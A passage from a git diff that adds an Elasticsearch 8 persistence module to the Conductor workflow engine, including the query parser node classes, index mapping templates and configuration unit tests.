existsFieldQuery(); + } + if (sysConst == ConstValue.SystemConsts.NOT_NULL) { + return isEqualityCheck ? existsFieldQuery() : missingFieldQuery(); + } + throw new IllegalStateException("Unsupported system constant: " + sysConst); + } + + private Query existsFieldQuery() { + return Query.of(q -> q.exists(e -> e.field(name.getName()))); + } + + private Query missingFieldQuery() { + return Query.of(q -> q.bool(b -> b.mustNot(existsFieldQuery()))); + } + + private FieldValue toFieldValue(String rawValue) { + String token = rawValue == null ? "" : rawValue.trim(); + if (token.isEmpty()) { + return FieldValue.of(""); + } + + if (isQuoted(token)) { + return FieldValue.of(unescapeQuoted(token.substring(1, token.length() - 1))); + } + + String lower = token.toLowerCase(Locale.ROOT); + if ("true".equals(lower) || "false".equals(lower)) { + return FieldValue.of(Boolean.parseBoolean(lower)); + } + + try { + if (token.contains(".")) { + return FieldValue.of(Double.parseDouble(token)); + } + return FieldValue.of(Long.parseLong(token)); + } catch (NumberFormatException ignored) { + return FieldValue.of(token); + } + } + + private boolean isQuoted(String token) { + if (token.length() < 2) { + return false; + } + char first = token.charAt(0); + char last = token.charAt(token.length() - 1); + return (first == '"' && last == '"') || (first == '\'' && last == '\''); + } + + private String unescapeQuoted(String value) { + return value.replace("\\\\", "\\").replace("\\\"", "\"").replace("\\'", "'"); + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/AbstractNode.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/AbstractNode.java new file mode 100644 index 0000000..a976504 --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/AbstractNode.java @@ -0,0 +1,177 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import java.io.InputStream; +import java.math.BigDecimal; +import java.util.HashSet; +import java.util.Set; +import java.util.regex.Pattern; + +/** + * @author Viren + */ +public abstract class AbstractNode { + + public static final Pattern WHITESPACE = Pattern.compile("\\s"); + + protected static Set comparisonOprs = new HashSet(); + + static { + comparisonOprs.add('>'); + comparisonOprs.add('<'); + comparisonOprs.add('='); + } + + protected InputStream is; + + protected AbstractNode(InputStream is) throws ParserException { + this.is = is; + this.parse(); + } + + protected boolean isNumber(String test) { + try { + // If you can convert to a big decimal value, then it is a number. + new BigDecimal(test); + return true; + + } catch (NumberFormatException e) { + // Ignore + } + return false; + } + + protected boolean isBoolOpr(byte[] buffer) { + if (buffer.length > 1 && buffer[0] == 'O' && buffer[1] == 'R') { + return true; + } else if (buffer.length > 2 && buffer[0] == 'A' && buffer[1] == 'N' && buffer[2] == 'D') { + return true; + } + return false; + } + + protected boolean isComparisonOpr(byte[] buffer) { + if (buffer[0] == 'I' && buffer[1] == 'N') { + return true; + } else if (buffer[0] == '!' && buffer[1] == '=') { + return true; + } else { + return comparisonOprs.contains((char) buffer[0]); + } + } + + protected byte[] peek(int length) throws Exception { + return read(length, true); + } + + protected byte[] read(int length) throws Exception { + return read(length, false); + } + + protected String readToken() throws Exception { + skipWhitespace(); + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + char c = (char) peek(1)[0]; + if (c == ' ' || c == '\t' || c == '\n' || c == '\r') { + is.skip(1); + break; + } else if (c == '=' || c == '>' || c == '<' || c == '!') { + // do not skip + break; + } + sb.append(c); + is.skip(1); + } + return sb.toString().trim(); + } + + protected boolean isNumeric(char c) { + if (c == '-' || c == 'e' || (c >= '0' && c <= '9') || c == '.') { + return true; + } + return false; + } + + protected void assertExpected(byte[] found, String expected) throws ParserException { + assertExpected(new String(found), expected); + } + + protected void assertExpected(String found, String expected) throws ParserException { + if (!found.equals(expected)) { + throw new ParserException("Expected " + expected + ", found " + found); + } + } + + protected void assertExpected(char found, char expected) throws ParserException { + if (found != expected) { + throw new ParserException("Expected " + expected + ", found " + found); + } + } + + protected static void efor(int length, FunctionThrowingException consumer) + throws Exception { + for (int i = 0; i < length; i++) { + consumer.accept(i); + } + } + + protected abstract void _parse() throws Exception; + + // Public stuff here + private void parse() throws ParserException { + // skip white spaces + skipWhitespace(); + try { + _parse(); + } catch (Exception e) { + if (!(e instanceof ParserException)) { + throw new ParserException("Error parsing", e); + } else { + throw (ParserException) e; + } + } + skipWhitespace(); + } + + // Private methods + + private byte[] read(int length, boolean peekOnly) throws Exception { + byte[] buf = new byte[length]; + if (peekOnly) { + is.mark(length); + } + efor(length, (Integer c) -> buf[c] = (byte) is.read()); + if (peekOnly) { + is.reset(); + } + return buf; + } + + protected void skipWhitespace() throws ParserException { + try { + while (is.available() > 0) { + byte c = peek(1)[0]; + if (c == ' ' || c == '\t' || c == '\n' || c == '\r') { + // skip + read(1); + } else { + break; + } + } + } catch (Exception e) { + throw new ParserException(e.getMessage(), e); + } + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/BooleanOp.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/BooleanOp.java new file mode 100644 index 0000000..238a88d --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/BooleanOp.java @@ -0,0 +1,57 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class BooleanOp extends AbstractNode { + + private String value; + + public BooleanOp(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] buffer = peek(3); + if (buffer.length > 1 && buffer[0] == 'O' && buffer[1] == 'R') { + this.value = "OR"; + } else if (buffer.length > 2 && buffer[0] == 'A' && buffer[1] == 'N' && buffer[2] == 'D') { + this.value = "AND"; + } else { + throw new ParserException("No valid boolean operator found..."); + } + read(this.value.length()); + } + + @Override + public String toString() { + return " " + value + " "; + } + + public String getOperator() { + return value; + } + + public boolean isAnd() { + return "AND".equals(value); + } + + public boolean isOr() { + return "OR".equals(value); + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ComparisonOp.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ComparisonOp.java new file mode 100644 index 0000000..b001f92 --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ComparisonOp.java @@ -0,0 +1,102 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class ComparisonOp extends AbstractNode { + + public enum Operators { + BETWEEN("BETWEEN"), + EQUALS("="), + LESS_THAN("<"), + GREATER_THAN(">"), + IN("IN"), + NOT_EQUALS("!="), + IS("IS"), + STARTS_WITH("STARTS_WITH"); + + private final String value; + + Operators(String value) { + this.value = value; + } + + public String value() { + return value; + } + } + + static { + int max = 0; + for (Operators op : Operators.values()) { + max = Math.max(max, op.value().length()); + } + maxOperatorLength = max; + } + + private static final int maxOperatorLength; + + private static final int betweenLen = Operators.BETWEEN.value().length(); + private static final int startsWithLen = Operators.STARTS_WITH.value().length(); + + private String value; + + public ComparisonOp(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(maxOperatorLength); + if (peeked[0] == '=' || peeked[0] == '>' || peeked[0] == '<') { + this.value = new String(peeked, 0, 1); + } else if (peeked[0] == 'I' && peeked[1] == 'N') { + this.value = "IN"; + } else if (peeked[0] == 'I' && peeked[1] == 'S') { + this.value = "IS"; + } else if (peeked[0] == '!' && peeked[1] == '=') { + this.value = "!="; + } else if (peeked.length >= betweenLen + && peeked[0] == 'B' + && peeked[1] == 'E' + && peeked[2] == 'T' + && peeked[3] == 'W' + && peeked[4] == 'E' + && peeked[5] == 'E' + && peeked[6] == 'N') { + this.value = Operators.BETWEEN.value(); + } else if (peeked.length == startsWithLen + && new String(peeked).equals(Operators.STARTS_WITH.value())) { + this.value = Operators.STARTS_WITH.value(); + } else { + throw new ParserException( + "Expecting an operator (=, >, <, !=, BETWEEN, IN, STARTS_WITH), but found none. Peeked=>" + + new String(peeked)); + } + + read(this.value.length()); + } + + @Override + public String toString() { + return " " + value + " "; + } + + public String getOperator() { + return value; + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ConstValue.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ConstValue.java new file mode 100644 index 0000000..7038005 --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ConstValue.java @@ -0,0 +1,141 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren Constant value can be: + *

      + *
    1. List of values (a,b,c) + *
    2. Range of values (m AND n) + *
    3. A value (x) + *
    4. A value is either a string or a number + *
    + */ +public class ConstValue extends AbstractNode { + + public static enum SystemConsts { + NULL("null"), + NOT_NULL("not null"); + private String value; + + SystemConsts(String value) { + this.value = value; + } + + public String value() { + return value; + } + } + + private static String QUOTE = "\""; + + private Object value; + + private SystemConsts sysConsts; + + public ConstValue(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(4); + String sp = new String(peeked).trim(); + // Read a constant value (number or a string) + if (peeked[0] == '"' || peeked[0] == '\'') { + this.value = readString(is); + } else if (sp.toLowerCase().startsWith("not")) { + this.value = SystemConsts.NOT_NULL.value(); + sysConsts = SystemConsts.NOT_NULL; + read(SystemConsts.NOT_NULL.value().length()); + } else if (sp.equalsIgnoreCase(SystemConsts.NULL.value())) { + this.value = SystemConsts.NULL.value(); + sysConsts = SystemConsts.NULL; + read(SystemConsts.NULL.value().length()); + } else { + this.value = readNumber(is); + } + } + + private String readNumber(InputStream is) throws Exception { + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + is.mark(1); + char c = (char) is.read(); + if (!isNumeric(c)) { + is.reset(); + break; + } else { + sb.append(c); + } + } + String numValue = sb.toString().trim(); + return numValue; + } + + /** + * Reads an escaped string + * + * @throws Exception + */ + private String readString(InputStream is) throws Exception { + char delim = (char) read(1)[0]; + StringBuilder sb = new StringBuilder(); + boolean valid = false; + while (is.available() > 0) { + char c = (char) is.read(); + if (c == delim) { + valid = true; + break; + } else if (c == '\\') { + // read the next character as part of the value + c = (char) is.read(); + sb.append(c); + } else { + sb.append(c); + } + } + if (!valid) { + throw new ParserException( + "String constant is not quoted with <" + delim + "> : " + sb.toString()); + } + return QUOTE + sb.toString() + QUOTE; + } + + public Object getValue() { + return value; + } + + @Override + public String toString() { + return "" + value; + } + + public String getUnquotedValue() { + String result = toString(); + if (result.length() >= 2 && result.startsWith(QUOTE) && result.endsWith(QUOTE)) { + result = result.substring(1, result.length() - 1); + } + return result; + } + + public boolean isSysConstant() { + return this.sysConsts != null; + } + + public SystemConsts getSysConstant() { + return this.sysConsts; + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/FunctionThrowingException.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/FunctionThrowingException.java new file mode 100644 index 0000000..14564c7 --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/FunctionThrowingException.java @@ -0,0 +1,22 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +/** + * @author Viren + */ +@FunctionalInterface +public interface FunctionThrowingException { + + void accept(T t) throws Exception; +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ListConst.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ListConst.java new file mode 100644 index 0000000..6b6405a --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ListConst.java @@ -0,0 +1,70 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import java.io.InputStream; +import java.util.LinkedList; +import java.util.List; + +/** + * @author Viren List of constants + */ +public class ListConst extends AbstractNode { + + private List values; + + public ListConst(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = read(1); + assertExpected(peeked, "("); + this.values = readList(); + } + + private List readList() throws Exception { + List list = new LinkedList(); + boolean valid = false; + char c; + + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + c = (char) is.read(); + if (c == ')') { + valid = true; + break; + } else if (c == ',') { + list.add(sb.toString().trim()); + sb = new StringBuilder(); + } else { + sb.append(c); + } + } + list.add(sb.toString().trim()); + if (!valid) { + throw new ParserException("Expected ')' but never encountered in the stream"); + } + return list; + } + + public List getList() { + return (List) values; + } + + @Override + public String toString() { + return values.toString(); + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/Name.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/Name.java new file mode 100644 index 0000000..0dbb740 --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/Name.java @@ -0,0 +1,41 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren Represents the name of the field to be searched against. + */ +public class Name extends AbstractNode { + + private String value; + + public Name(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.value = readToken(); + } + + @Override + public String toString() { + return value; + } + + public String getName() { + return value; + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ParserException.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ParserException.java new file mode 100644 index 0000000..feff9d2 --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ParserException.java @@ -0,0 +1,28 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +/** + * @author Viren + */ +@SuppressWarnings("serial") +public class ParserException extends Exception { + + public ParserException(String message) { + super(message); + } + + public ParserException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/Range.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/Range.java new file mode 100644 index 0000000..3c1a522 --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/Range.java @@ -0,0 +1,80 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class Range extends AbstractNode { + + private String low; + + private String high; + + public Range(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.low = readNumber(is); + + skipWhitespace(); + byte[] peeked = read(3); + assertExpected(peeked, "AND"); + skipWhitespace(); + + String num = readNumber(is); + if (num == null || "".equals(num)) { + throw new ParserException("Missing the upper range value..."); + } + this.high = num; + } + + private String readNumber(InputStream is) throws Exception { + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + is.mark(1); + char c = (char) is.read(); + if (!isNumeric(c)) { + is.reset(); + break; + } else { + sb.append(c); + } + } + String numValue = sb.toString().trim(); + return numValue; + } + + /** + * @return the low + */ + public String getLow() { + return low; + } + + /** + * @return the high + */ + public String getHigh() { + return high; + } + + @Override + public String toString() { + return low + " AND " + high; + } +} diff --git a/es8-persistence/src/main/resources/template_event.json b/es8-persistence/src/main/resources/template_event.json new file mode 100644 index 0000000..e784370 --- /dev/null +++ b/es8-persistence/src/main/resources/template_event.json @@ -0,0 +1,45 @@ +{ + "template": { + "settings": {}, + "mappings": { + "properties": { + "action": { + "type": "keyword", + "index": true + }, + "created": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "event": { + "type": "keyword", + "index": true + }, + "id": { + "type": "keyword", + "index": true + }, + "messageId": { + "type": "keyword", + "index": true + }, + "name": { + "type": "keyword", + "index": true + }, + "output": { + "properties": { + "workflowId": { + "type": "keyword", + "index": true + } + } + }, + "status": { + "type": "keyword", + "index": true + } + } + } + } +} diff --git a/es8-persistence/src/main/resources/template_message.json b/es8-persistence/src/main/resources/template_message.json new file mode 100644 index 0000000..dc66de4 --- /dev/null +++ b/es8-persistence/src/main/resources/template_message.json @@ -0,0 +1,26 @@ +{ + "template": { + "settings": {}, + "mappings": { + "properties": { + "created": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "messageId": { + "type": "keyword", + "index": true + }, + "payload": { + "type": "keyword", + "index": false, + "doc_values": false + }, + "queue": { + "type": "keyword", + "index": true + } + } + } + } +} diff --git a/es8-persistence/src/main/resources/template_task.json b/es8-persistence/src/main/resources/template_task.json new file mode 100644 index 0000000..e2219dd --- /dev/null +++ b/es8-persistence/src/main/resources/template_task.json @@ -0,0 +1,75 @@ +{ + "template": { + "settings": {}, + "mappings": { + "dynamic": false, + "properties": { + "endTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "executionTime": { + "type": "long" + }, + "correlationId": { + "type": "keyword", + "index": true + }, + "input": { + "type": "text", + "index": true + }, + "output": { + "type": "text", + "index": true + }, + "queueWaitTime": { + "type": "long" + }, + "reasonForIncompletion": { + "type": "keyword", + "ignore_above": 1024 + }, + "scheduledTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "startTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "status": { + "type": "keyword", + "index": true + }, + "taskDefName": { + "type": "keyword", + "index": true + }, + "taskId": { + "type": "keyword", + "index": true + }, + "taskType": { + "type": "keyword", + "index": true + }, + "updateTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "workflowId": { + "type": "keyword", + "index": true + }, + "workflowType": { + "type": "keyword", + "index": true + }, + "archived": { + "type": "boolean" + } + } + } + } +} diff --git a/es8-persistence/src/main/resources/template_task_log.json b/es8-persistence/src/main/resources/template_task_log.json new file mode 100644 index 0000000..f7767c6 --- /dev/null +++ b/es8-persistence/src/main/resources/template_task_log.json @@ -0,0 +1,22 @@ +{ + "template": { + "settings": {}, + "mappings": { + "properties": { + "createdTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "log": { + "type": "keyword", + "index": false, + "doc_values": false + }, + "taskId": { + "type": "keyword", + "index": true + } + } + } + } +} diff --git a/es8-persistence/src/main/resources/template_workflow.json b/es8-persistence/src/main/resources/template_workflow.json new file mode 100644 index 0000000..7ca357e --- /dev/null +++ b/es8-persistence/src/main/resources/template_workflow.json @@ -0,0 +1,94 @@ +{ + "template": { + "settings": {}, + "mappings": { + "dynamic": false, + "properties": { + "correlationId": { + "type": "keyword", + "index": true + }, + "endTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "executionTime": { + "type": "long" + }, + "failedReferenceTaskNames": { + "type": "text" + }, + "input": { + "type": "text" + }, + "output": { + "type": "text" + }, + "reasonForIncompletion": { + "type": "keyword", + "ignore_above": 1024 + }, + "startTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "status": { + "type": "keyword", + "index": true + }, + "updateTime": { + "type": "date", + "format": "strict_date_optional_time||epoch_millis" + }, + "version": { + "type": "long" + }, + "workflowId": { + "type": "keyword", + "index": true + }, + "workflowType": { + "type": "keyword", + "index": true + }, + "rawJSON": { + "type": "keyword", + "index": false, + "doc_values": false + }, + "event": { + "type": "keyword", + "index": true + }, + "priority": { + "type": "integer" + }, + "externalInputPayloadStoragePath": { + "type": "keyword", + "index": false, + "doc_values": false + }, + "externalOutputPayloadStoragePath": { + "type": "keyword", + "index": false, + "doc_values": false + }, + "taskToDomain": { + "type": "object", + "enabled": false + }, + "archived": { + "type": "boolean" + }, + "parentWorkflowId": { + "type": "keyword", + "index": true + }, + "classifier": { + "type": "keyword", + "index": true + } + } + } + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/config/ElasticSearchConditionsTest.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/config/ElasticSearchConditionsTest.java new file mode 100644 index 0000000..715fc41 --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/config/ElasticSearchConditionsTest.java @@ -0,0 +1,74 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.config; + +import org.junit.Test; +import org.springframework.boot.test.context.runner.ApplicationContextRunner; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +public class ElasticSearchConditionsTest { + + private final ApplicationContextRunner contextRunner = + new ApplicationContextRunner() + .withUserConfiguration(ConditionalTestConfiguration.class); + + @Test + public void shouldActivateForElasticsearch8IndexingType() { + contextRunner + .withPropertyValues( + "conductor.indexing.enabled=true", "conductor.indexing.type=elasticsearch8") + .run(context -> assertTrue(context.containsBean("es8Marker"))); + } + + @Test + public void shouldNotActivateWhenIndexingIsDisabled() { + contextRunner + .withPropertyValues( + "conductor.indexing.enabled=false", + "conductor.indexing.type=elasticsearch8") + .run(context -> assertFalse(context.containsBean("es8Marker"))); + } + + @Test + public void shouldNotActivateForLegacyVersionPropertyOnly() { + contextRunner + .withPropertyValues( + "conductor.indexing.enabled=true", "conductor.elasticsearch.version=8") + .run(context -> assertFalse(context.containsBean("es8Marker"))); + } + + @Test + public void shouldNotActivateForElasticsearchV7Selector() { + contextRunner + .withPropertyValues( + "conductor.indexing.enabled=true", "conductor.indexing.type=elasticsearch") + .run(context -> assertFalse(context.containsBean("es8Marker"))); + } + + @Configuration(proxyBeanMethods = false) + @Conditional(ElasticSearchConditions.ElasticSearchV8Enabled.class) + static class ConditionalTestConfiguration { + + @Bean + Marker es8Marker() { + return new Marker(); + } + } + + static class Marker {} +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/config/ElasticSearchPropertiesTest.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/config/ElasticSearchPropertiesTest.java new file mode 100644 index 0000000..84b4ab2 --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/config/ElasticSearchPropertiesTest.java @@ -0,0 +1,76 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.config; + +import java.util.List; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; + +public class ElasticSearchPropertiesTest { + + @Test + public void testWaitForIndexRefreshDefaultsToFalse() { + ElasticSearchProperties properties = new ElasticSearchProperties(); + assertFalse( + "waitForIndexRefresh should default to false for v3.21.19 performance", + properties.isWaitForIndexRefresh()); + } + + @Test + public void testWaitForIndexRefreshCanBeEnabled() { + ElasticSearchProperties properties = new ElasticSearchProperties(); + properties.setWaitForIndexRefresh(true); + assertTrue( + "waitForIndexRefresh should be configurable to true", + properties.isWaitForIndexRefresh()); + } + + @Test + public void testDefaultUrlUsesHttpPort9200() { + ElasticSearchProperties properties = new ElasticSearchProperties(); + assertEquals("localhost:9200", properties.getUrl()); + } + + @Test + public void testToUrlsTrimsAndAppliesDefaultHttpScheme() { + ElasticSearchProperties properties = new ElasticSearchProperties(); + properties.setUrl(" https://es1:9243 , es2:9200 "); + + List urls = properties.toURLs(); + assertEquals(2, urls.size()); + assertEquals("https", urls.get(0).getProtocol()); + assertEquals("es1", urls.get(0).getHost()); + assertEquals(9243, urls.get(0).getPort()); + assertEquals("http", urls.get(1).getProtocol()); + assertEquals("es2", urls.get(1).getHost()); + assertEquals(9200, urls.get(1).getPort()); + } + + @Test + public void testToUrlsRejectsBlankConfiguration() { + ElasticSearchProperties properties = new ElasticSearchProperties(); + properties.setUrl(" , "); + + try { + properties.toURLs(); + fail("Expected IllegalArgumentException for blank url configuration"); + } catch (IllegalArgumentException expected) { + assertTrue(expected.getMessage().contains("conductor.elasticsearch.url")); + } + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDAOV8ResourceExistenceTest.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDAOV8ResourceExistenceTest.java new file mode 100644 index 0000000..63f11bd --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDAOV8ResourceExistenceTest.java @@ -0,0 +1,157 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

